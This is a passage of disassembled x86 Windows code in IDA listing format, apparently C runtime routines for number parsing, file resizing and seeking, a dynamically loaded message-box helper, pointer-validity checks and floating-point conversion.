19h jnb short loc_42628F inc [ebp+var_38] sub bl, 30h mov [esi], bl inc esi jmp short loc_426292 ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_42612C+156j inc [ebp+var_3C] loc_426292: ; CODE XREF: sub_42612C+161j mov bl, [edi] inc edi loc_426295: ; CODE XREF: sub_42612C+150j movzx eax, bl push eax call sub_41D63C test eax, eax pop ecx jnz short loc_42627E cmp bl, ds:byte_433AA4 jnz short loc_4262F1 jmp loc_426201 ; --------------------------------------------------------------------------- loc_4262B0: ; CODE XREF: sub_42612C+63j ; DATA XREF: .text:off_426530o xor eax, eax ; jumptable 0042618F case 4 inc eax cmp [ebp+var_38], 0 mov [ebp+var_44], eax mov [ebp+var_58], eax jnz short loc_4262E3 jmp short loc_4262C7 ; --------------------------------------------------------------------------- loc_4262C1: ; CODE XREF: sub_42612C+19Ej dec [ebp+var_3C] mov bl, [edi] inc edi loc_4262C7: ; CODE XREF: sub_42612C+193j cmp bl, 30h jz short loc_4262C1 jmp short loc_4262E3 ; --------------------------------------------------------------------------- loc_4262CE: ; CODE XREF: sub_42612C+1C3j cmp [ebp+var_38], 19h jnb short loc_4262E0 inc [ebp+var_38] sub bl, 30h mov [esi], bl inc esi dec [ebp+var_3C] loc_4262E0: ; CODE XREF: sub_42612C+1A6j mov bl, [edi] inc edi loc_4262E3: ; CODE XREF: sub_42612C+191j ; sub_42612C+1A0j movzx eax, bl push eax call sub_41D63C test eax, eax pop ecx jnz short loc_4262CE loc_4262F1: ; CODE XREF: sub_42612C+17Dj cmp bl, 2Bh jz loc_426242 cmp bl, 2Dh jz loc_426242 jmp loc_42621B ; --------------------------------------------------------------------------- loc_426308: ; CODE XREF: sub_42612C+63j ; DATA XREF: .text:off_426530o movzx eax, bl ; jumptable 0042618F case 5 push eax mov [ebp+var_58], 1 call sub_41D63C test eax, eax pop ecx jz loc_4263CD push 4 jmp loc_4263C1 ; --------------------------------------------------------------------------- loc_426328: ; CODE XREF: sub_42612C+63j ; DATA XREF: .text:off_426530o cmp bl, 31h ; jumptable 0042618F case 6 lea ecx, [edi-2] mov [ebp+var_40], ecx jl short loc_42633C cmp bl, 39h jle loc_4263BF loc_42633C: ; CODE XREF: sub_42612C+205j movsx eax, bl sub eax, 2Bh jz loc_4263F6 dec eax dec eax jz loc_4263EA sub eax, 3 jnz loc_426410 loc_426359: ; CODE XREF: sub_42612C+29Fj push 8 jmp loc_4263F8 ; --------------------------------------------------------------------------- loc_426360: ; CODE XREF: sub_42612C+63j ; DATA XREF: .text:off_426530o mov [ebp+var_5C], 1 ; jumptable 0042618F case 8 jmp short loc_42636C ; --------------------------------------------------------------------------- loc_426369: ; CODE XREF: sub_42612C+243j mov bl, [edi] inc edi loc_42636C: ; CODE XREF: sub_42612C+23Bj cmp bl, 30h jz short loc_426369 cmp bl, 31h jl short loc_42637B cmp bl, 39h jle short loc_4263BF loc_42637B: ; CODE XREF: sub_42612C+F2j ; sub_42612C+100j ... dec edi loc_42637C: ; CODE XREF: sub_42612C+2A4j ; sub_42612C+2DFj mov [ebp+var_34], esi loc_42637F: ; CODE XREF: sub_42612C+A3j ; sub_42612C+2E9j ... cmp [ebp+var_44], 0 mov eax, [ebp+arg_4] mov [eax], edi jz loc_4264DE push 18h pop eax cmp [ebp+var_38], eax jbe short loc_4263A6 cmp [ebp+var_19], 5 jl short loc_42639F inc [ebp+var_19] loc_42639F: ; CODE XREF: sub_42612C+26Ej dec esi inc [ebp+var_3C] mov [ebp+var_38], eax loc_4263A6: ; CODE XREF: sub_42612C+268j cmp [ebp+var_38], 0 jbe loc_426505 jmp loc_42647A ; --------------------------------------------------------------------------- loc_4263B5: ; CODE XREF: sub_42612C+63j ; DATA XREF: .text:off_426530o cmp bl, 31h ; jumptable 0042618F case 7 jl short loc_4263C8 cmp bl, 39h jg short loc_4263C8 loc_4263BF: ; CODE XREF: sub_42612C+20Aj ; sub_42612C+24Dj push 9 loc_4263C1: ; CODE XREF: sub_42612C+76j ; sub_42612C+1F7j pop eax dec edi jmp loc_426183 ; --------------------------------------------------------------------------- loc_4263C8: ; CODE XREF: sub_42612C+28Cj ; sub_42612C+291j cmp bl, 30h jz short loc_426359 loc_4263CD: ; CODE XREF: sub_42612C+13Bj ; sub_42612C+1EFj mov edi, [ebp+var_40] jmp short loc_42637C ; --------------------------------------------------------------------------- loc_4263D2: ; CODE XREF: sub_42612C+63j ; DATA XREF: .text:off_426530o cmp [ebp+arg_18], 0 ; jumptable 0042618F case 11 jz short loc_4263FE movsx eax, bl sub eax, 2Bh lea ecx, [edi-1] mov [ebp+var_40], ecx jz short loc_4263F6 dec eax dec eax jnz short loc_426410 loc_4263EA: ; CODE XREF: sub_42612C+21Ej or [ebp+var_4C], 0FFFFFFFFh push 7 pop eax jmp loc_426183 ; --------------------------------------------------------------------------- loc_4263F6: ; CODE XREF: sub_42612C+216j ; sub_42612C+2B8j push 7 loc_4263F8: ; CODE XREF: sub_42612C+85j ; sub_42612C+D7j ... pop eax jmp loc_426183 ; --------------------------------------------------------------------------- loc_4263FE: ; CODE XREF: sub_42612C+2AAj push 0Ah pop eax dec edi loc_426402: ; CODE XREF: sub_42612C+5Dj ; sub_42612C+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042618F case 10 jnz loc_426183 jmp loc_42637C ; --------------------------------------------------------------------------- loc_426410: ; CODE XREF: sub_42612C+227j ; sub_42612C+2BCj mov [ebp+var_34], esi mov edi, ecx jmp loc_42637F ; --------------------------------------------------------------------------- loc_42641A: ; CODE XREF: sub_42612C+63j ; DATA XREF: .text:off_426530o mov [ebp+var_34], esi ; jumptable 0042618F case 9 mov [ebp+var_5C], 1 xor esi, esi jmp short loc_42643D ; --------------------------------------------------------------------------- loc_426428: ; CODE XREF: sub_42612C+31Dj movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42644D mov bl, [edi] inc edi loc_42643D: ; CODE XREF: sub_42612C+2FAj movzx eax, bl push eax call sub_41D63C test eax, eax pop ecx jnz short loc_426428 jmp short loc_426452 ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_42612C+30Cj mov esi, 1451h loc_426452: ; CODE XREF: sub_42612C+31Fj mov [ebp+var_54], esi movzx eax, bl jmp short loc_426460 ; --------------------------------------------------------------------------- loc_42645A: ; CODE XREF: sub_42612C+33Dj mov al, [edi] inc edi movzx eax, al loc_426460: ; CODE XREF: sub_42612C+32Cj push eax call sub_41D63C test eax, eax pop ecx jnz short loc_42645A mov esi, [ebp+var_34] dec edi jmp loc_42637F ; --------------------------------------------------------------------------- loc_426474: ; CODE XREF: sub_42612C+352j dec [ebp+var_38] inc [ebp+var_3C] loc_42647A: ; CODE XREF: sub_42612C+284j dec esi cmp byte ptr [esi], 0 jz short loc_426474 lea eax, [ebp+var_14] push eax push [ebp+var_38] lea eax, [ebp+var_30] push eax call sub_426E61 mov eax, [ebp+var_54] xor ecx, ecx add esp, 0Ch cmp [ebp+var_4C], ecx jge short loc_42649F neg eax loc_42649F: ; CODE XREF: sub_42612C+36Fj add eax, [ebp+var_3C] cmp [ebp+var_5C], ecx jnz short loc_4264AA add eax, [ebp+arg_10] loc_4264AA: ; CODE XREF: sub_42612C+379j cmp [ebp+var_58], ecx jnz short loc_4264B2 sub eax, [ebp+arg_14] loc_4264B2: ; CODE XREF: sub_42612C+381j cmp eax, 1450h jg short loc_4264E7 cmp eax, 0FFFFEBB0h jl short loc_4264FE push [ebp+arg_C] push eax lea eax, [ebp+var_14] push eax call sub_427171 mov edx, [ebp+var_14] mov ebx, [ebp+var_14+2] mov esi, [ebp+var_E] mov eax, [ebp+var_A] add esp, 0Ch jmp short loc_42650D ; --------------------------------------------------------------------------- loc_4264DE: ; CODE XREF: sub_42612C+25Cj mov [ebp+var_48], 4 jmp short loc_426505 ; --------------------------------------------------------------------------- loc_4264E7: ; CODE XREF: sub_42612C+38Bj xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_48], 2 jmp short loc_42650D ; --------------------------------------------------------------------------- loc_4264FE: ; CODE XREF: sub_42612C+392j mov [ebp+var_48], 1 loc_426505: ; CODE XREF: sub_42612C+27Ej ; sub_42612C+3B9j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx loc_42650D: ; CODE XREF: sub_42612C+3B0j ; sub_42612C+3D0j mov ecx, [ebp+arg_0] or eax, [ebp+var_50] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_48] mov [ecx], dx mov ecx, [ebp+var_4] pop esi pop ebx call sub_41E5BB leave retn sub_42612C endp ; --------------------------------------------------------------------------- off_426530 dd offset loc_426196 ; DATA XREF: sub_42612C+63r dd offset loc_4261E9 ; jump table for switch statement dd offset loc_42624A dd offset loc_426275 dd offset loc_4262B0 dd offset loc_426308 dd offset loc_426328 dd offset loc_4263B5 dd offset loc_426360 dd offset loc_42641A dd offset loc_426402 dd offset loc_4263D2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426560 proc near ; CODE XREF: sub_421B9F+2BDp var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41E090 mov eax, ds:dword_433148 push ebx push esi push 1 xor esi, esi push esi push [ebp+arg_0] mov [ebp+var_4], eax call sub_423FFD or ebx, 0FFFFFFFFh add esp, 0Ch cmp eax, ebx mov [ebp+var_1008], eax jz loc_426693 push 2 push esi push [ebp+arg_0] call sub_423FFD add esp, 0Ch cmp eax, ebx jz loc_426693 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_426633 mov ebx, 1000h push ebx lea eax, [ebp+var_1004] push esi push eax call sub_41C6D0 push 8000h push [ebp+arg_0] call sub_4271F7 add esp, 14h mov [ebp+var_100C], eax loc_4265E1: ; CODE XREF: sub_426560+A5j cmp edi, ebx mov eax, ebx jge short loc_4265E9 mov eax, edi loc_4265E9: ; CODE XREF: sub_426560+85j push eax lea eax, [ebp+var_1004] push eax push [ebp+arg_0] call sub_422242 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_426609 sub edi, eax test edi, edi jg short loc_4265E1 jmp short loc_426621 ; --------------------------------------------------------------------------- loc_426609: ; CODE XREF: sub_426560+9Fj call sub_4200BE cmp dword ptr [eax], 5 jnz short loc_42661E call sub_4200B5 mov dword ptr [eax], 0Dh loc_42661E: ; CODE XREF: sub_426560+B1j or esi, 0FFFFFFFFh loc_426621: ; CODE XREF: sub_426560+A7j push [ebp+var_100C] push [ebp+arg_0] call sub_4271F7 pop ecx pop ecx jmp short loc_42667B ; --------------------------------------------------------------------------- loc_426633: ; CODE XREF: sub_426560+56j jge short loc_42667B push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_423FFD push [ebp+arg_0] call sub_425764 add esp, 10h push eax call ds:dword_429100 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, ebx jnz short loc_42667B call sub_4200B5 mov dword ptr [eax], 0Dh call sub_4200BE mov edi, eax call ds:dword_4290D8 ; RtlGetLastWin32Error mov [edi], eax loc_42667B: ; CODE XREF: sub_426560+D1j ; sub_426560:loc_426633j ... push 0 push [ebp+var_1008] push [ebp+arg_0] call sub_423FFD add esp, 0Ch mov eax, esi pop edi jmp short loc_426695 ; --------------------------------------------------------------------------- loc_426693: ; CODE XREF: sub_426560+32j ; sub_426560+48j mov eax, ebx loc_426695: ; CODE XREF: sub_426560+131j mov ecx, [ebp+var_4] pop esi pop ebx call sub_41E5BB leave retn sub_426560 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4266A1 proc near ; CODE XREF: sub_422242+65p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_8] push edi push esi mov [ebp+var_4], eax call sub_425764 or edi, 0FFFFFFFFh cmp eax, edi pop ecx jnz short loc_4266D2 call sub_4200B5 mov dword ptr [eax], 9 jmp short loc_4266FB ; --------------------------------------------------------------------------- loc_4266D2: ; CODE XREF: sub_4266A1+22j push [ebp+arg_C] lea ecx, [ebp+var_4] push ecx push [ebp+var_8] push eax call ds:dword_4290FC ; SetFilePointer cmp eax, edi mov [ebp+var_8], eax jnz short loc_426701 call ds:dword_4290D8 ; RtlGetLastWin32Error test eax, eax jz short loc_426701 push eax call sub_4200C7 pop ecx loc_4266FB: ; CODE XREF: sub_4266A1+2Fj mov eax, edi mov edx, edi jmp short loc_426720 ; --------------------------------------------------------------------------- loc_426701: ; CODE XREF: sub_4266A1+47j ; sub_4266A1+51j mov eax, esi sar eax, 5 mov eax, ds:dword_438460[eax*4] and esi, 1Fh lea ecx, [esi+esi*8] lea eax, [eax+ecx*4+4] and byte ptr [eax], 0FDh mov eax, [ebp+var_8] mov edx, [ebp+var_4] loc_426720: ; CODE XREF: sub_4266A1+5Ej pop edi pop esi leave retn sub_4266A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426724 proc near ; CODE XREF: sub_4224BB+129p ; sub_423E1A+138p var_10 = byte ptr -10h var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_A = byte ptr 12h push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx cmp ds:dword_4358C8, ebx push esi push edi jnz short loc_4267A4 push offset aUser32_dll ; "user32.dll" call ds:dword_4290E4 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4267DF mov esi, ds:dword_4290E0 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov ds:dword_4358C8, eax jz short loc_4267DF push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov ds:dword_4358CC, eax call esi ; GetProcAddress cmp ds:dword_43565C, 2 mov ds:dword_4358D0, eax jnz short loc_4267A4 push offset aGetuserobjecti ; "GetUserObjectInformationA" push edi call esi ; GetProcAddress test eax, eax mov ds:dword_4358D8, eax jz short loc_4267A4 push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi ; GetProcAddress mov ds:dword_4358D4, eax loc_4267A4: ; CODE XREF: sub_426724+11j ; sub_426724+60j ... mov eax, ds:dword_4358D4 test eax, eax jz short loc_4267E9 call eax test eax, eax jz short loc_4267D0 lea ecx, [ebp+var_4] push ecx push 0Ch lea ecx, [ebp+var_10] push ecx push 1 push eax call ds:dword_4358D8 test eax, eax jz short loc_4267D0 test [ebp+var_8], 1 jnz short loc_4267E9 loc_4267D0: ; CODE XREF: sub_426724+8Dj ; sub_426724+A4j cmp ds:dword_435668, 4 jb short loc_4267E3 or [ebp+arg_A], 20h jmp short loc_426808 ; --------------------------------------------------------------------------- loc_4267DF: ; CODE XREF: sub_426724+22j ; sub_426724+3Dj xor eax, eax jmp short loc_426818 ; --------------------------------------------------------------------------- loc_4267E3: ; CODE XREF: sub_426724+B3j or [ebp+arg_A], 4 jmp short loc_426808 ; --------------------------------------------------------------------------- loc_4267E9: ; CODE XREF: sub_426724+87j ; sub_426724+AAj mov eax, ds:dword_4358CC test eax, eax jz short loc_426808 call eax mov ebx, eax test ebx, ebx jz short loc_426808 mov eax, ds:dword_4358D0 test eax, eax jz short loc_426808 push ebx call eax mov ebx, eax loc_426808: ; CODE XREF: sub_426724+B9j ; sub_426724+C3j ... push dword ptr [ebp+10h] push [ebp+arg_4] push [ebp+arg_0] push ebx call ds:dword_4358C8 loc_426818: ; CODE XREF: sub_426724+BDj pop edi pop esi pop ebx leave retn sub_426724 endp ; =============== S U B R O U T I N E ======================================= sub_42681D proc near ; CODE XREF: sub_426850+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test ds:byte_438221[eax], cl jnz short loc_42684C cmp [esp+arg_4], 0 jz short loc_426845 mov ecx, ds:off_4333E0 movzx eax, word ptr [ecx+eax*2] and eax, [esp+arg_4] jmp short loc_426847 ; --------------------------------------------------------------------------- loc_426845: ; CODE XREF: sub_42681D+16j xor eax, eax loc_426847: ; CODE XREF: sub_42681D+26j test eax, eax jnz short loc_42684C retn ; --------------------------------------------------------------------------- loc_42684C: ; CODE XREF: sub_42681D+Fj ; sub_42681D+2Cj xor eax, eax inc eax retn sub_42681D endp ; =============== S U B R O U T I N E ======================================= sub_426850 proc near ; CODE XREF: sub_42266B+3Fp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_42681D add esp, 0Ch retn sub_426850 endp ; =============== S U B R O U T I N E ======================================= sub_426861 proc near ; CODE XREF: sub_4232D1+53p ; sub_4232D1+8Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] xor esi, esi push [esp+8+arg_0] inc esi call ds:dword_4291B4 ; IsBadReadPtr test eax, eax jz short loc_426879 xor esi, esi loc_426879: ; CODE XREF: sub_426861+14j mov eax, esi pop esi retn sub_426861 endp ; =============== S U B R O U T I N E ======================================= sub_42687D proc near ; CODE XREF: sub_4232D1+65p ; sub_4232D1+9Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] xor esi, esi push [esp+8+arg_0] inc esi call ds:dword_429184 ; IsBadWritePtr test eax, eax jz short loc_426895 xor esi, esi loc_426895: ; CODE XREF: sub_42687D+14j mov eax, esi pop esi retn sub_42687D endp ; =============== S U B R O U T I N E ======================================= sub_426899 proc near ; CODE XREF: sub_4232D1+128p ; sub_4238CC+35p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] xor esi, esi inc esi call ds:dword_4291B8 ; IsBadCodePtr test eax, eax jz short loc_4268AD xor esi, esi loc_4268AD: ; CODE XREF: sub_426899+10j mov eax, esi pop esi retn sub_426899 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423818 loc_4268B1: ; CODE XREF: sub_423818:loc_423848j push 0Ah call sub_4224BB push 16h call sub_427291 pop ecx pop ecx push 3 call sub_41F66F int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_423818 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268C9 proc near ; CODE XREF: sub_426991+1Ap ; sub_426D1E+3Ep ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] cmp dword ptr [esi+14h], 0 push edi jz loc_42697D cmp dword ptr [esi+24h], 0 jz short loc_4268EF cmp ebx, 7Fh jbe loc_42697D loc_4268EF: ; CODE XREF: sub_4268C9+1Bj xor edi, edi inc edi cmp ebx, 100h jnb short loc_426919 cmp [esi+28h], edi jle short loc_42690C push edi push ebx push esi call sub_42013A add esp, 0Ch jmp short loc_426915 ; --------------------------------------------------------------------------- loc_42690C: ; CODE XREF: sub_4268C9+34j mov eax, [esi+48h] movzx eax, byte ptr [eax+ebx*2] and eax, edi loc_426915: ; CODE XREF: sub_4268C9+41j test eax, eax jz short loc_42698A loc_426919: ; CODE XREF: sub_4268C9+2Fj mov edx, [esi+48h] mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_42693A push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl mov byte ptr [ebp+arg_0+2], 0 pop eax jmp short loc_426943 ; --------------------------------------------------------------------------- loc_42693A: ; CODE XREF: sub_4268C9+60j mov byte ptr [ebp+arg_0], bl mov byte ptr [ebp+arg_0+1], 0 mov eax, edi loc_426943: ; CODE XREF: sub_4268C9+6Fj push edi push dword ptr [esi+4] lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 100h push dword ptr [esi+14h] call sub_421354 add esp, 20h test eax, eax jz short loc_42698A cmp eax, edi jnz short loc_426970 movzx eax, [ebp+var_4] jmp short loc_42698C ; --------------------------------------------------------------------------- loc_426970: ; CODE XREF: sub_4268C9+9Fj movzx ecx, [ebp+var_3] xor eax, eax mov ah, [ebp+var_4] or eax, ecx jmp short loc_42698C ; --------------------------------------------------------------------------- loc_42697D: ; CODE XREF: sub_4268C9+11j ; sub_4268C9+20j cmp ebx, 41h jl short loc_42698A cmp ebx, 5Ah lea eax, [ebx+20h] jle short loc_42698C loc_42698A: ; CODE XREF: sub_4268C9+4Ej ; sub_4268C9+9Bj ... mov eax, ebx loc_42698C: ; CODE XREF: sub_4268C9+A5j ; sub_4268C9+B2j ... pop edi pop esi pop ebx leave retn sub_4268C9 endp ; =============== S U B R O U T I N E ======================================= sub_426991 proc near ; CODE XREF: sub_42393A+9p arg_0 = dword ptr 4 call sub_4203B6 mov eax, [eax+64h] cmp eax, ds:off_433444 jz short loc_4269A6 call sub_420342 loc_4269A6: ; CODE XREF: sub_426991+Ej push [esp+arg_0] push eax call sub_4268C9 pop ecx pop ecx retn sub_426991 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4269B3 proc near ; CODE XREF: sub_423AE4+48p ; sub_423BEC+3Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] mov ecx, [edx+0Ch] push ebx mov ebx, [ebp+arg_4] test ebx, ebx push esi mov esi, [ebp+arg_0] push edi lea edi, [esi+1] mov byte ptr [esi], 30h mov eax, edi jle short loc_4269F0 mov [ebp+arg_0], ebx xor ebx, ebx loc_4269D6: ; CODE XREF: sub_4269B3+38j mov dl, [ecx] test dl, dl jz short loc_4269E2 movsx edx, dl inc ecx jmp short loc_4269E5 ; --------------------------------------------------------------------------- loc_4269E2: ; CODE XREF: sub_4269B3+27j push 30h pop edx loc_4269E5: ; CODE XREF: sub_4269B3+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4269D6 mov edx, [ebp+arg_8] loc_4269F0: ; CODE XREF: sub_4269B3+1Cj test ebx, ebx mov byte ptr [eax], 0 jl short loc_426A09 cmp byte ptr [ecx], 35h jl short loc_426A09 jmp short loc_426A01 ; --------------------------------------------------------------------------- loc_4269FE: ; CODE XREF: sub_4269B3+52j mov byte ptr [eax], 30h loc_426A01: ; CODE XREF: sub_4269B3+49j dec eax cmp byte ptr [eax], 39h jz short loc_4269FE inc byte ptr [eax] loc_426A09: ; CODE XREF: sub_4269B3+42j ; sub_4269B3+47j cmp byte ptr [esi], 31h jnz short loc_426A13 inc dword ptr [edx+4] jmp short loc_426A25 ; --------------------------------------------------------------------------- loc_426A13: ; CODE XREF: sub_4269B3+59j push edi call sub_41C350 inc eax push eax push edi push esi call sub_41BFA0 add esp, 10h loc_426A25: ; CODE XREF: sub_4269B3+5Ej pop edi pop esi pop ebx pop ebp retn sub_4269B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426A2A proc near ; CODE XREF: sub_426AE4+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] push ebx push esi push edi mov edi, 7FFh mov esi, 80000000h mov [ebp+var_4], esi mov ecx, eax shr ecx, 4 and eax, 8000h and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx and eax, 0FFFFFh test ebx, ebx jz short loc_426A7A cmp ebx, edi jz short loc_426A73 lea edi, [ecx+3C00h] jmp short loc_426A9B ; --------------------------------------------------------------------------- loc_426A73: ; CODE XREF: sub_426A2A+3Fj mov edi, 7FFFh jmp short loc_426A9B ; --------------------------------------------------------------------------- loc_426A7A: ; CODE XREF: sub_426A2A+3Bj xor ebx, ebx cmp eax, ebx jnz short loc_426A92 cmp edx, ebx jnz short loc_426A92 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_426ADF ; --------------------------------------------------------------------------- loc_426A92: ; CODE XREF: sub_426A2A+54j ; sub_426A2A+58j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_426A9B: ; CODE XREF: sub_426A2A+47j ; sub_426A2A+4Ej mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax or ecx, [ebp+var_4] mov eax, [ebp+arg_0] shl edx, 0Bh test ecx, esi mov [eax+4], ecx mov [eax], edx jnz short loc_426AD6 loc_426AB7: ; CODE XREF: sub_426A2A+AAj mov ecx, [eax] mov edx, [eax+4] mov ebx, ecx shl edx, 1 shr ebx, 1Fh or edx, ebx add ecx, ecx add edi, 0FFFFh test edx, esi mov [eax+4], edx mov [eax], ecx jz short loc_426AB7 loc_426AD6: ; CODE XREF: sub_426A2A+8Bj mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_426ADF: ; CODE XREF: sub_426A2A+66j pop edi pop esi pop ebx leave retn sub_426A2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426AE4 proc near ; CODE XREF: sub_423AE4+20p ; sub_423BEC+1Fp ... var_2C = word ptr -2Ch var_2A = byte ptr -2Ah var_28 = byte ptr -28h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, ds:dword_433148 mov [ebp+var_4], eax push esi push edi lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_426A2A pop ecx pop ecx lea eax, [ebp+var_2C] push eax push 0 push 11h sub esp, 0Ch lea esi, [ebp+var_10] mov edi, esp movsd movsd movsw call sub_42740A mov esi, [ebp+arg_8] mov edi, [ebp+arg_C] mov [esi+8], eax movsx eax, [ebp+var_2A] mov [esi], eax movsx eax, [ebp+var_2C] mov [esi+4], eax lea eax, [ebp+var_28] push eax push edi call sub_41C930 mov ecx, [ebp+var_4] add esp, 20h mov [esi+0Ch], edi mov eax, esi call sub_41E5BB pop edi pop esi leave retn sub_426AE4 endp ; --------------------------------------------------------------------------- push 2 call sub_41DC6D pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_426B59 proc near ; CODE XREF: sub_426C79+Cp xor eax, eax test bl, 1 jz short loc_426B63 push 10h pop eax loc_426B63: ; CODE XREF: sub_426B59+5j test bl, 4 jz short loc_426B6B or eax, 8 loc_426B6B: ; CODE XREF: sub_426B59+Dj test bl, 8 jz short loc_426B73 or eax, 4 loc_426B73: ; CODE XREF: sub_426B59+15j test bl, 10h jz short loc_426B7B or eax, 2 loc_426B7B: ; CODE XREF: sub_426B59+1Dj test bl, 20h jz short loc_426B83 or eax, 1 loc_426B83: ; CODE XREF: sub_426B59+25j test bl, 2 jz short loc_426B8D or eax, 80000h loc_426B8D: ; CODE XREF: sub_426B59+2Dj push ebp movzx edx, bx push esi mov ecx, edx mov esi, 0C00h and ecx, esi push edi mov edi, 300h mov ebp, 200h jz short loc_426BC9 cmp ecx, 400h jz short loc_426BC4 cmp ecx, 800h jz short loc_426BC0 cmp ecx, esi jnz short loc_426BC9 or eax, edi jmp short loc_426BC9 ; --------------------------------------------------------------------------- loc_426BC0: ; CODE XREF: sub_426B59+5Dj or eax, ebp jmp short loc_426BC9 ; --------------------------------------------------------------------------- loc_426BC4: ; CODE XREF: sub_426B59+55j or eax, 100h loc_426BC9: ; CODE XREF: sub_426B59+4Dj ; sub_426B59+61j ... and edx, edi jz short loc_426BD8 cmp edx, ebp jnz short loc_426BDD or eax, 10000h jmp short loc_426BDD ; --------------------------------------------------------------------------- loc_426BD8: ; CODE XREF: sub_426B59+72j or eax, 20000h loc_426BDD: ; CODE XREF: sub_426B59+76j ; sub_426B59+7Dj test bh, 10h pop edi pop esi pop ebp jz short locret_426BEA or eax, 40000h locret_426BEA: ; CODE XREF: sub_426B59+8Aj retn sub_426B59 endp ; =============== S U B R O U T I N E ======================================= sub_426BEB proc near ; CODE XREF: sub_426C79+22p xor eax, eax test bl, 10h jz short loc_426BF3 inc eax loc_426BF3: ; CODE XREF: sub_426BEB+5j test bl, 8 jz short loc_426BFB or eax, 4 loc_426BFB: ; CODE XREF: sub_426BEB+Bj test bl, 4 jz short loc_426C03 or eax, 8 loc_426C03: ; CODE XREF: sub_426BEB+13j test bl, 2 jz short loc_426C0B or eax, 10h loc_426C0B: ; CODE XREF: sub_426BEB+1Bj test bl, 1 jz short loc_426C13 or eax, 20h loc_426C13: ; CODE XREF: sub_426BEB+23j test ebx, 80000h jz short loc_426C1E or eax, 2 loc_426C1E: ; CODE XREF: sub_426BEB+2Ej mov ecx, ebx mov edx, 300h and ecx, edx push esi mov esi, 200h jz short loc_426C52 cmp ecx, 100h jz short loc_426C4D cmp ecx, esi jz short loc_426C46 cmp ecx, edx jnz short loc_426C52 or eax, 0C00h jmp short loc_426C52 ; --------------------------------------------------------------------------- loc_426C46: ; CODE XREF: sub_426BEB+4Ej or eax, 800h jmp short loc_426C52 ; --------------------------------------------------------------------------- loc_426C4D: ; CODE XREF: sub_426BEB+4Aj or eax, 400h loc_426C52: ; CODE XREF: sub_426BEB+42j ; sub_426BEB+52j ... mov ecx, ebx and ecx, 30000h jz short loc_426C68 cmp ecx, 10000h jnz short loc_426C6A or eax, esi jmp short 